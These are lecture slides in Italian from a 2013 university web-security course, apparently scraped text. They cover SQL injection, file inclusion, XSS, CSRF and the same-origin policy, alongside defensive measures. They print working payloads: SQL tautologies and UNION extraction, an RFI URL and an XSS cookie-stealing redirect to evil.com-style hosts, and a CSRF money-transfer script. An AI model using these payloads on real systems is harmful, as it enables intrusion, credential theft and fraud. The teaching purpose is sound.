Universita degli Studi di MilanoFacolta di Scienze e TecnologieAnno Accademico 2013/2014
Sicurezza delle applicazioni web: attacchi
Srdan Matic Aristide Fattori
11 Dicembre 2013
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 1 / 57
OWASP Top Ten (2013)
1 Injection
2 Cross-Site Scripting (XSS)
3 Broken Authentication andSession Management
4 Insecure Direct Object Reference
5 Cross-Site Request Forgery(CRSF)
6 Security Misconfiguration
7 Insecure Cryptographic Storage
8 Failure to Restrict URL Access
9 Insufficient Transport LayerProtocol
10 Unvalidated Redirects andForwards
1 Injection
2 Broken Authentication and SessionManagement
3 Cross-Site Scripting (XSS)
4 Insecure Direct Object Reference
5 Security Misconfiguration
6 Sensitive Data Exposure (InsecureCryptographic Storage + InsufficientTransport Layer Protocol)
7 Missing Function Level AccessControl Failure to Restrict URLAccess
8 Cross-Site Request Forgery (CRSF)
9 Using Known Vulnerable Components
10 Unvalidated Redirects and Forwards
Fonte: http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 2 / 57
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdfhttp://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf
Command Injection
Command injection
ogni linguaggio server-side mette a disposizione apposite funzioni pereseguire comandi (e.g., system(), exec(), popen())
spesso nomi e parametri vengono passati a queste funzioni attraverso imetodi POST o GET
i dati che lapplicazione riceve in input spesso non vengono sanitizzati (ola sanitizzazione non viene effettuata con sufficiente attenzione); questopuo portare a vulnerabilita
Esempio: ultimo aggiornamento del file
Altro esempio
interpretazione dinamica di codice (e.g., eval($ GET[a]))
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 4 / 57
(L|R)FI: Local and Remote FileInclusion
(Local|Remote) File Inclusion
ScenarioNumerose applicazioni ricorrono allinclusione dinamica e condizionaledi file; i file in questione possono essere locali o fare riferimento a risorseremote.
es1 - CorrettoFILE: DB.php
FILE: index.php
es2 - Sbagliato
FILE: it.php
FILE: en.php
FILE: index.php
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 6 / 57
File Inclusion - Exploiting I
Nella slide precendete, in es2, avremo richieste del tipo:http://example.org/index.php?lang=......
Local File Inclusionhttp://example.com/test.php?lang=/etc/passwd
root:x:0:0:root:/root:/bin/bash. . .
Remote File Inclusionhttp://evil.com/woot.txt
http://example.com/test.php?lang=http://evil.com/woot.txt
I can do whatever I want!
RFI Esecuzione arbitraria di codice
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 7 / 57
http://example.org/index.php?lang=http://example.com/test.php?lang=http://evil.com/woot.txthttp://example.com/test.php?lang=
File Inclusion - Exploiting II
Possiamo utilizzare FI per leggere un file PHP? CERTAMENTE!Possiamo includere uno script remoto che legge il file e stampa il
suo contenuto.
... ma se abbiamo a disposizione solo Local File Inclusion?CERTAMENTE!
Possiamo affidarci ad alcune funzioni PHP meno conosciute.
If URL fopen wrappers are enabled in PHP (which they are inthe default configuration), you can specify the file to be includedusing a URL (via HTTP or other supported wrapper - seeSupported Protocols and Wrappers for a list of protocols) insteadof a local pathname.
http://www.php.net/manual/en/function.include.php
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 8 / 57
http://www.php.net/manual/en/function.include.php
File Inclusion - Wrapper
Wrapper Function
file:// Accessing local filesystemhttp:// Accessing HTTP(s) URLsftp:// Accessing FTP(s) URLsphp:// Accessing various I/O streamszlib:// Compression Streamsdata:// Data (RFC 2397)glob:// Find pathnames matching patternphar:// PHP Archivessh2:// Secure Shell 2rar:// RARogg:// Audio streamsexpect:// Process Interaction Streams
http://php.net/manual/en/wrappers.php
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 9 / 57
http://php.net/manual/en/wrappers.php
File Inclusion - Wrapper
php://filter
php://filter is a kind of meta-wrapper designed to permit theapplication of filters to a stream at the time of opening. Ovveroprima che i dati vengano interpretati dallinterprete PHP.
php://filter/read=a|b/resource=f i filtri a e b vengono applicati in fase dilettura del file fphp://filter/write=a|b/resource=f i filtri a e b vengono applicati in fase discrittura del file fphp://filter/a|b/resource=f i filtri a e b vengono applicati in sia in fase dilettura che di scrittura del filte f
Esistono numerosi filtri: string.rot13, string.toupper,convert.base64-encode, bzip2.compress, ...
http://www.php.net/manual/en/wrappers.php.php
http://www.php.net/manual/en/filters.php
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 10 / 57
http://www.php.net/manual/en/wrappers.php.phphttp://www.php.net/manual/en/filters.php
File Inclusion - Wrapper
Come possiamo utilizzare i filtri con es2.php?
http://example.org/es2.php?lang=php://filter/convert.base64-encode//resource=es2.php
Warning: the suhosin patch blocca[va] RFI e lutilizzo diwrapper potenzialmente pericolosi
http://lwn.net/Articles/479716/...The extension provides a whole host of other kinds of protections, largely against dodgy PHP programmingpractices. For example it protects against either remote or local code inclusion, which is one of the worstproblems that has plagued PHP applications. It can disable the eval() call, prevent infinite recursion by putting alimit on call depth, stop HTTP response splitting attacks, filter uploaded files by a variety of conditions, and onand on. While it obviously cant prevent all badly written PHP from running amok, its clear that the Suhosindevelopers have looked at a lot of common problems and tried to address them. ...
E per quanto riguarda lesecuzione di codice arbitrario tramite LFI?
http://goo.gl/qQA3X by gynvael
http://goo.gl/s9LV4 by INSOMNIA
http://goo.gl/rfTFi by CWH Underground
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 11 / 57
http://goo.gl/qQA3Xhttp://goo.gl/s9LV4http://goo.gl/rfTFi
SQL Injection
SQL injection (SQLi)
Scenario
allintero del web 2.0 gran parte dei contenuto viene generatadinamicamente e i contenuti posso variare a secondadellutente (non registrato, registrato, admin, . . . )
database
SQLi: cause
nessuna validazione dellinput
le query generate dallapplicazione contengono inputproveniente dallutente
I siamo in presenza di SQLi quando e possibile modificaresintassi (e semantica) di una query modificando i dati chevengono passati in input allapplicazione
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 13 / 57
SQL injection - Esempio
$n = $ POST[name];$p = $ POST[pass];
$result = mysql query( SELECT FROM users . WHERE name=$n AND pass=$p; );
if(mysql num rows($result) > 0 ) {...
}
1 name = mario AND pass = xyz ... WHERE name=mario AND pass=xyz;
2 name = admin AND pass = xyz OR 1=1 ... WHERE nome=admin AND passw=xyz OR 1=1;
Quante righe otteniamo in output? Cosa contengono le righe dioutput?
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 14 / 57
SQLi: sink
Input dellutente
parametri GET/POST
informazioni trasmesse al server da applicazioni come: Flash,applet Java, AJAX
HTTP Header
tutti gli header devono essere considerati comepotenzialmente pericolosi
User-Agent, Referer, . . . possono venire modificati edutilizzati a questo scopo . . .
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 15 / 57
SQLi: sink
Cookie
fanno ancora parte degli header
i Cookie provengono dal client e devono essere trattati comepotenzialmente pericolosi
Il database stesso: second order injection
i dati passati in input allapplicazione sono memorizzatiallinterno del database
in seguito, gli stessi dati in input vengono prelevati daldatabase e utilizzati per costruire una successiva query possibile pericolo
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 16 / 57
SQLi: obiettivi e metodologie
Obiettivo Metodologia
identificare i parametri su cuie possibile fare injection
troviamo i sink
database footprinting capire quale DMBS viene utilizzato; inap-propriata gestione degli errori
individuare lo schema del DB nomi delle tabelle, nomi delle colonne, tipidelle colonne, privilegi degli utenti
estrazione di informazioni dump dellintero DB
modifica di informazioni utilizzo di INSERT, UPDATE e DELETE nellequery
DoS non consentire lautenticazione di un utentelegittimo (LOCK, DELETE, . . . )
authentication bypass bypassare i meccanismi di autenticazionedellapplicazione
remote command execution esecuzione di comandi non messi adisposizione in orgine del DBMS
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 17 / 57
SQLi esempi: authentication bypass tramite tautologia
1 query:
$q = SELECT id FROM utenteWHERE user= .$user. AND pass= .$pass. ;
2 parametri inviati allapplicazione:
$user = admin;$pass = OR 1=1;
3 conseguente query che viene generata ed eseguita:
$q = SELECT id FROM utenteWHERE user=admin AND pass= OR 1=1 ;
I se linput fosse stato adeguatamente sanitizzato (e.g.,mysql escape string()):
$q = SELECT id FROM utenteWHERE user=admin AND pass= \ OR \\=\ ;
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 18 / 57
SQLi esempi: altri usi di tautologie
scelta blind del primo utente disponibile
$pass = OR 1=1 # ;$q = SELECT id FROM utente WHERE user= AND pass= OR 1=1 \# ;
$user = OR user LIKE % # ;$q = SELECT id FROM utente WHERE user= OR
user LIKE \% \# AND pass= ;
$user = OR 1 # ;$q = SELECT id FROM utente WHERE user= OR 1 \# AND pass= ;
scelta di uno specifico utente
$user = admin OR 1 # ;$q = SELECT id FROM utente WHERE user=admin OR 1 \# AND pass= ;
$user = admin # ;$q = SELECT id FROM utente WHERE user=admin \# AND pass= ;
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 19 / 57
SQLi attacchi: UNION query
query:
$q = SELECT id, nome, prezzo, descrizione .FROM prodotto WHERE categoria= . $ GET[cat];
query in seguito alla injection:
$cat = 1 UNION SELECT 1, user, 1, pass FROM utente;
attenzione: il numero ed il tipo delle colonne restituite inoutput dalle due query SELECT deve essere lo stesso!
MySQL: se due tipi non corrispondono... viene effettuato uncast.
$cat = 1 UNION SELECT 1, 1, user, pass FROM utente;
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 20 / 57
SQLi attacchi: second order injection
per portare a buon fine lattacco, come primo passoregistriamo un utente con caratteristiche particolari
$user = admin #;
la stringa $user viene correttamente sanitizzata prima divenire inserita nel database
in un secondo momento, lattaccante utilizza la routine percambiare la password allutente registrato precedentemente; aquesto fine lapplicazione preleva i dati memorizzati nel DB eli utilizza per generare una seconda query :
$q = UPDATE utente SET pass= . $ POST[newPass] . WHERE user= . $row[user] . ;
se i dati provenienti dal database non vengono sanitizzaticorrettamente, posso verificarsi comportamenti indesiderati,come:
$q = UPDATE utente SET pass=password WHERE user=admin # ;
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 21 / 57
SQLi attacchi: piggy-backed query
Obiettivo
ottenere lesecuzione di un numero arbitrario di query differenti
query:
$q = SELECT id FROM utente WHERE user= . $user . AND pass= . $pass . ;
dati inviati allapplicazione:
$user = ; SELECT FROM utente ;
query che verre eseguita:
$q = SELECT id FROM utente WHERE user= ;SELECT FROM utente AND pass= ;
entrambe le query vengono eseguite!
Attenzione: vulnerabilita di questo tipo dipendono strettamentedai metodi/funzioni utilizzate per effettuare la query.
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 22 / 57
SQL InjectionAdvanced Techniques
SQLi: information schema
Cosa facciamo se abbiamo scovato una SQLi, ma non sappiamo inomi delle tabelle o quelli delle singole colonne?
Possiamo provare ad utilizzare un approccio brute-force(buona fortuna!)
. . . possiamo altrimenti fare affidamento su caratteristiche diMySQL
INFORMATION SCHEMA
Table Name Description
COLUMNS Information on columns name, . . .
TABLES Information on tables name, . . .
COLUMN PRIVILEGES Information on privileges
TABLE PRIVILEGES Information on privileges
SCHEMATA Information on all databases
. . . . . .
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 24 / 57
SQLi: information schema
INFORMATION SCHEMA.TABLES
Column Description
TABLE SCHEMA DB to which the table belongs
TABLE NAME Name of the table
TABLE ROWS Number of rows in the table
. . . . . .
INFORMATION SCHEMA.COLUMNS
Column DescriptionTABLE NAME Name of the table containing this column
COLUMN NAME Name of the column
COLUMN TYPE Type of the columns
. . . . . .
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 25 / 57
SQLi: information schema esempio
Query:$id = $ GET[id];$q = SELECT username FROM utenti WHERE user id = $id ;
Passo 1: estrapoliamo il nome della tabella:
$id = 1 UNION SELECT table nameFROM INFORMATION SCHEMA.TABLESWHERE table schema != mysql ANDtable schema != information schema ;
Passo 2: estrapoliamo i nomi delle singole colonne
$id = 1 UNION SELECT column nameFROM INFORMATION SCHEMA.COLUMNSWHERE table name = utenti LIMIT 0,1;
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 26 / 57
Blind SQLi
$q = SELECT colonna FROM example WHERE id = . $ GET[id];$res = mysql query($q);if(!$res) {
die(error);} else {
// Le informazioni vengono memorizzate localmente sul server,// ma al client NON viene visualizzato nessun output
}
Come fare per sfruttare la vulnerabilita?
Il codice mostrato sopra e indubbiamente vulnerabile a SQLi, manon mostrera mai loutput ottenuto in seguito alle injection.
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 27 / 57
Blind SQLi - exploiting
MySQL mette a disposizione moltissime funzionalita che possiamoutilizzare per sfruttare una SQLi.
1 BENCHMARK
BENCHMARK(loop count, expression)
2 IF
IF(expression, expr true, expr false)
3 SUBSTRING
SUBSTRING(str, pos)SUBSTRING(str, FROM pos)SUBSTRING(str, pos, len)SUBSTRING(str, FROM pos, FOR len)
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 28 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 29 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 30 / 57
Blind SQLi - exploiting
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 31 / 57
Blind SQLi - pseudo-codice
Tocca a voi!
Utilizzando il template in /var/www/blind/blind template.pyrealizzare il codice che dalla tabella example (database: test)recupera il valore valore della colonna colonna associata allid 1.
#!/usr/bin/env pythonimport MySQLdbfrom time import sleep, time
def connect and create cursor():conn = MySQLdb.connect(host=localhost, user=root, passwd=root, db=test)curs = conn.cursor()return conn, curs
def exec query(curs, query):curs.execute(query)
if name == main :# crea connessione e cursore per il databaseconn, curs = connect and create cursor()query = SELECT colonna FROM example# esegue una querycurs.execute(query) # ... in alternativa > exec query(curs, query)
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 32 / 57
MySQL: operazioni sui file
Query vulnerabile:$q = SELECT username FROM utenti WHERE user id = $id ;
1 Lettura:
$id = 1 UNION SELECT load file(/etc/passwd) ;
2 Scrittura:
$id = 1 UNION SELECT ciao into outfile /tmp/ciao ;
Note:1 se lutente non ha lapposito permesso FILE allinterno del
database/tabella le operazioni di lettura/scrittura file nonandranno a buon fine
2 load file restituisce NULL se non termina correttamente
3 into outfile genera un MySQL ERROR se non terminacorrettamente
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 33 / 57
MSSQL: stored procedure
MSSQL mette a disposizione oltre un migliaio di storedprocedure per effettuare particolari operazioni
xp cmdshell consente lesecuzione di comandi
esempi:
; EXEC master..xp cmdshell dir c:
; EXEC master..xp cmdshell ping google.com
E in Linux...
Possiamo eseguire comandi shell allinterno di MySQL?
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 34 / 57
SQLi: come difendersi
e compito dei programmatori evitare che siano presenti SQLinel codice dellapplicazione
spesso i programmatori utilizzano metodo automagic (adesempio, in PHP, magic quotes gpc effettua lescape tramitela routine addslashes())
come fare la sanitizzazione dipende strettamente dal tipo diattacco dal quale ci vogliamo proteggere
luso di espressioni regolari ad-hoc e fortemente sconsigliato
miglio approccio: utilizzare mysql real escape string()
se in input ci si aspetta un numero... controllare che il valorericevuto e effettivamente un valore numerico
. . . tenete a mente che e possibile costruire stringhe particolarianche senza ricorrere agli apici (AAA char(65,65,65))
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 35 / 57
Race vulnerabilities nelleapplicazioni web
Concorrenza allinterno delle applicazioni webSingle request
web browser1
web server
page request
interpreter
script
spawn new worker
DB query
web browser2
page request
interpreter
script
spawn new worker
query
concurrent DB access
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 37 / 57
Concorrenza allinterno delle applicazioni web
le applicazioni web sono solitamente composte da una serie discript, ciascuno dei quali effettua una serie predefinita di tasksequenziali
spesso questi script hanno bisogno di accedere a risorsecondivise (es. database)
istanze multiple di uno script potrebbero venire eseguitecontemporaneamente
Problema
I programmatori web non percepiscono le loro applicazioni comeentita multi-thread o multi-processo
parallelismo non previsto puo portare a interazioni inattese trai vari script
questo parallelismo puo venire controllato client-side
le primitive di sincronizzazione vengono utilizzate di rado
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 38 / 57
Concorrenza allinterno delle applicazioni web - esempio
1 $res = mysql_query(SELECT credit FROM Users WHERE id=$id);
2 $row = mysql_fetch_assoc($res);
3 if($row[credit] >= 800) {
4
5 $new_credit = $row[credit] - 800;
6 $res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1 P2Line Data Line Data
2 (id: 123, credit: 1000) 4 (id: 123, credit: 1000) 1 4 (id: 123, credit: 1000) 2 (id: 123, credit: 1000)5 (id: 123, credit: 1000) 4 (id: 123, credit: 1000)
DatabaseID Credit
50 250092 820123 200205 1200. . . . . .
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 39 / 57
DEMOhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32
Seconda parte
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32
Client side attacks
Attacchi client-side
I sfruttano la fiducia che un utente ha di un sito web (XSS), oviceversa (CSRF)
1 lattaccante e in grado di modificare la pagina HTMLoriginale, aggiungendo codice (HTML o JavaScript)
2 la vittima si collega al server vulnerabile che restituisce lapagina modificata (e.g., link in e-mail, IM, link sulla rete)
3 il browser interpreta il codice iniettato dallattaccante
Obiettivi dellattacco
sniffing di cookie associati al dominio vulnerabile
manipolazione form di login
esecuzione di GET/POST addizionali
. . . qualunque cosa si possa fare con HTML + JavaScript!
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 42 / 57
Cross-Site Scripting (XSS)
Obiettivo
accesso non autorizzato ad informazioni presenti sul client
attacco basato sulla mancanza di controlli sullinput
alterazione della pagina web originale, con aggiunta di codiceJavaScript o HTML
il browser del client, fidandosi del server web, interpreta lapagina modificata
molto (troppo. . . ) diffusi!
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 43 / 57
Reflected Cross-Site Scripting - Esempio
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php
1 pagina PHP lato server:
Benvenuto
2 link inviato alla vittima:
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/
xss_test.php?inject=document.location=http://evil/
log.php?+document.cookie
3 richiesta HTTP creata dal browser della vittima:
GET /xss_test.php?inject=%3Cscript%3Edocument.location%3D%27ht
tp%3A%2F%2Fevil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E
Host: gamebox.laser.di.unimi.it
...
4 HTML generato dal server:
Benvenuto document.location=
http://evil/log.php?+document.cookie
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 44 / 57
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php
Reflected Cross-Site Scripting
1 una pagina dinamica e vulnerabile a XSS
2 utente indotto ad accedere alla pagina vulnerabile
3 exploit contenuto nellURL
Offuscamentotecniche di encoding
nascondere il link con lexploit dalla barra di stato
un link innocuo effettua un redirect (HTTP 3xx)
Esempi di offuscamento:
Urlencoding: http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%
74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E
Avoiding tag : http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=
Dynamic evaluation:http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?
inject=eval(String.fromCharCode(97,108,101,114,116,40,39,
99,105,97,111,39,41,59))Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 45 / 57
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))
Stored Cross-Site Scripting
Fase 1
lattaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,database)
Fase 2
il client si collega al server
il server genera la pagina inserendo anche il codice iniettato
Osservazioni
tutti gli utenti che richiederanno la pagina subiranno lattacco
il codice iniettato non e visibile in un URL
molto piu pericoloso rispetto ai reflected!
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 46 / 57
Cross-Site Request Forgery (CSRF)
Obiettivo
far eseguire delle azioni alle vittime, sfruttando le loro credenziali(e.g., cookie di sessione)
tramite JavaScript non e possibile accedere ai cookie di unaltro dominio
CSRF e possibile anche senza XSS
CSRF reflected e stored
samy is my hero virus JavaScript che sfrutta CSRF
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 47 / 57
Stored CSRF (GET)Esempio
1 la vittima si collega a http://www.mia-banca.it/ e siautentica
2 la vittima apre unaltra istanza del browser (tab o finestra) esi collega ad un sito maligno
3 la pagina maligna contiene:
4 il browser crea una richiesta HTTP con il il Cookieappropriato. . .
Osservazioni
tramite JavaScript e possibile creare richieste GET/POST
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 48 / 57
http://www.mia-banca.it/
Stored CSRF (POST)Esempio
1 la vittima si collega a http://www.banca-vulnerabile.ite si autentica
2 la vittima richiede una pagina da un sito maligno
3 server maligno restituisce:
var http = false; var body = to=1337&amount=10000;http = new XMLHttpRequest();http.onreadystatechange = handleResponse;http.open(POST, http://www.bancavulnerabile.it/trasferisci.php, true);http.setRequestHeader(Contenttype, application/xwwwformurlencoded);http.setRequestHeader(Contentlength, body.length);http.send(body);function handleResponse() { .... }
4 per banca-vulnerabile, la richiesta e indistinguibile da unalecita
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 49 / 57
http://www.banca-vulnerabile.it
Stored CSRFEsempio real-world
Il likejacking su Facebook e un CSRF.
Passo 1: la vittima clicca un link interessante postato da un suo amico
Passo 2: la pagina richiede un click per avviare il video
Vediamo i sorgenti
Vediamo i sorgenti
Sorgenti deoffuscati
Tra le altre cose, il codice JS inserisce un iframe trasparente nella pagina
Passo 3: la vittima clicca e automaGicamente la pagina viene likata
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 50 / 57
XSS/CSRF: Contromisure
Lato client
reflected XSS: se lattacco e visibile nella URL puo esserefacilmente evitato passando dalla root del dominio
estensioni per Firefox: NoScript
non visitare altri siti quando utilizza il conto on-line, effettuaresempre il logout
Lato server
linput va sempre considerato insicuro, vanno applicate lecorrette funzioni di sanitizzazione (e.g., htmlspecialchars())
Per CSRF:
CAPTCHA, PIN da inserire per ogni transazione importanteparametri nascosti (e.g., campi hidden) passati tra le variepagine dellapplicazione
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 51 / 57
Same Origin Policy
Same Origin Policy - Scenario
Il browser invia la richiesta a google.com, comprensiva di cookie
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 53 / 57
Same Origin Policy - Esempio
Dal punto di vista di un attacker:possiamo vedere la pagina renderizzata allinterno delliframe e,
quindi, navigare su google.com come lutente che sta visitando lanostra pagina, sfruttando i suoi cookie?
Proviamo!document.getElementById(1)
document.getElementById(1).innerHTML
document.getElementById(1).contentWindow.document.body.innerHTML
http://www.w3schools.com/jsref/prop_frame_contentwindow.asp:
The contentWindow property returns the Window object generated by an iframe element (through the window
object, you can access the document object and then any one of the documents elements).
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 54 / 57
http://www.w3schools.com/jsref/prop_frame_contentwindow.asp
Same Origin Policy
Alcune applicazioni WEB mettono a disposizione API chepermettono di interagire con esse anche a applicazioni di terzeparti, tramite HTTP (e.g., usando JSON, AJAX o entrambi).
Come puo funzionare?
Per far si che queste API funzionino, e necessario che la SameOrigin Policy sia disattivata dal server che mette a disposizione leAPI o che sia quantomeno resa piu flessibile (e.g.: permettererichieste solo a alcune pagine, solo da alcuni domini, . . . )
Come disabilitare
http://www.w3.org/TR/cors/
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 55 / 57
http://www.w3.org/TR/cors/
Same Origin Policy - Esempio
var http = false; var body = ;http = new XMLHttpRequest();http.onreadystatechange = handleResponse;http.open(GET, URL, true);http.send(body);
function handleResponse(){
if(http.readyState == 4)if(http.status == 200)
alert(http.responseText);}
1 Local request:http:
//gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.html
2 Remote request:http:
//gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.html
3 Allowed remote request:http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_
allowed.html
joystick@arya:~$ nc security.di.unimi.it 80
GET /joystick/test CORS.php HTTP/1.1
Host: security.di.unimi.it
HTTP/1.1 200 OK
Date: Wed, 10 Dec 2013 12:23:21 GMT
Server: Apache/1.3.34 ...
X-Powered-By: PHP/4.4.4-8+etch4
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
...
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 56 / 57
http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_allowed.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_allowed.html
Same Origin PolicySecurity
Il server potrebbe dare la possibilita di accedere a informazioniriservate
Il browser dellutente potrebbe non implementarecorrettamente SOP e permettere richieste cross-domain nonpreviste
Lenforcement di SOP in altri linguaggi client-side (e.g., Flash,Java, . . . ) e effettuato dagli interpreti non dal browser aumenta la possibilita di BUG
Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 57 / 57
IntroduzioneEsempiTecniche d'attacco
Attacchi client-side: CSS e CSRFCross-Site ScriptingCross-Site Request Forgery
Top Related